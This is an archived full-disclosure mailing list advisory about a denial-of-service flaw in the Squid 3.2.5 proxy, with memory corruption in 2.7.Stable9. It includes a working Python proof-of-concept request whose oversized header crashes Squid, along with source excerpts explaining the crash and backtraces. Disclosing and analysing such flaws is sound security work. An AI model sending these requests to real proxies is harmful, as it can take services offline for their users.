[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20130305210014.64FFE14DBD4@smtp.hushmail.com>
Date: Tue, 05 Mar 2013 21:00:14 +0000
From: tytusromekiatomek@...hmail.com
To: full-disclosure@...ts.grok.org.uk
Subject: Squid 3.2.5 httpMakeVaryMark() header value DoS,
2.7.Stable9 memory corruption.
##############################################################
# httpMakeVaryMark() header value 'value' (http.cc:603 line) #
##############################################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################
# Versions: 3.2.5
It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:
Request
-- cut --
#!/usr/bin/env python
print 'GET /index.html HTTP/1.1'
print 'Host: localhost'
print 'X-HEADSHOT: ' + '%XX' * 19000
print '\r\n\r\n'
-- cut --
Response
-- cut --
HTTP/1.1 200 OK
Vary: X-HEADSHOT
-- cut --
Code:
In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is
passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example
percent signs. This mean that the single charachter in request is now triple in length
(e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).
This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert
is invoked, which kills the child. When child is killed the Kid::stop() is called, which
increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,
then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main
process of squid (parent) with the following message:
"Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"
src/http.cc:
573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)
574 {
575 String vary, hdr;
576 const char *pos = NULL;
577 const char *item;
578 const char *value;
579 int ilen;
580 static String vstr;
581
582 vstr.clean();
583 vary = reply->header.getList(HDR_VARY);
584
585 while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {
586 char *name = (char *)xmalloc(ilen + 1);
587 xstrncpy(name, item, ilen + 1);
588 Tolower(name);
589
590 if (strcmp(name, "*") == 0) {
591 /* Can not handle "Vary: *" withtout ETag support */
592 safe_free(name);
593 vstr.clean();
594 break;
595 }
596
597 strListAdd(&vstr, name, ',');
598 hdr = request->header.getByName(name);
599 safe_free(name);
600 value = hdr.termedBuf();
601
602 if (value) {
603 value = rfc1738_escape_part(value);
604 vstr.append("=\"", 2);
605 vstr.append(value);
606 vstr.append("\"", 1);
607 }
lib/rfc1738.c:
143 /* Do the triplet encoding, or just copy the char */
144 if (do_escape == 1) {
145 (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);
146 dst += sizeof(char) * 2;
147 } else {
148 *dst = *src;
149 }
src/String.cc:
186 String::append( char const *str, int len)
187 {
188 assert(this);
189 assert(str && len >= 0);
190
191 PROF_start(StringAppend);
192 if (len_ + len < size_) {
193 strncat(buf_, str, len);
194 len_ += len;
195 } else {
196 // Create a temporary string and absorb it later.
197 String snew;
198 assert(len_ + len < 65536); // otherwise snew.len_ overflows below
199 snew.len_ = len_ + len;
200 snew.allocBuffer(snew.len_ + 1);
201
202 if (len_)
203 memcpy(snew.buf_, rawBuf(), len_);
204
205 if (len)
206 memcpy(snew.buf_ + len_, str, len);
207
208 snew.buf_[snew.len_] = '\0';
209
210 absorb(snew);
211 }
212 PROF_stop(StringAppend);
213 }
src/ipc/Kid.cc:
46 /// called when kid terminates, sets exiting status
47 void Kid::stop(status_type exitStatus)
48 {
49 assert(running());
50 assert(startTime != 0);
51
52 isRunning = false;
53
54 time_t stop_time;
55 time(&stop_time);
56 if ((stop_time - startTime) < fastFailureTimeLimit)
57 ++badFailures;
58 else
59 badFailures = 0; // the failures are not "frequent" [any more]
60
61 status = exitStatus;
62 }
70 /// returns true if master process should restart this kid
71 bool Kid::shouldRestart() const
72 {
73 return !(running() ||
74 exitedHappy() ||
75 hopeless() ||
76 shutting_down ||
77 signaled(SIGKILL) || // squid -k kill
78 signaled(SIGINT) || // unexpected forced shutdown
79 signaled(SIGTERM)); // unexpected forced shutdown
80 }
src/ipc/Kid.h:
23 /// keep restarting until the number of bad failures exceed this limit
24 enum { badFailureLimit = 4 };
25
26 /// slower start failures are not "frequent enough" to be counted as "bad"
27 enum { fastFailureTimeLimit = 10 }; // seconds
# BONUS POINT ;-)
# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*
#3 0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized out>) at malloc.c:6283
#16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397
and
#3 0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397
and
#3 0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397
and
#3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=<optimized out>) at malloc.c:6283
#9 0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398
EOF
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists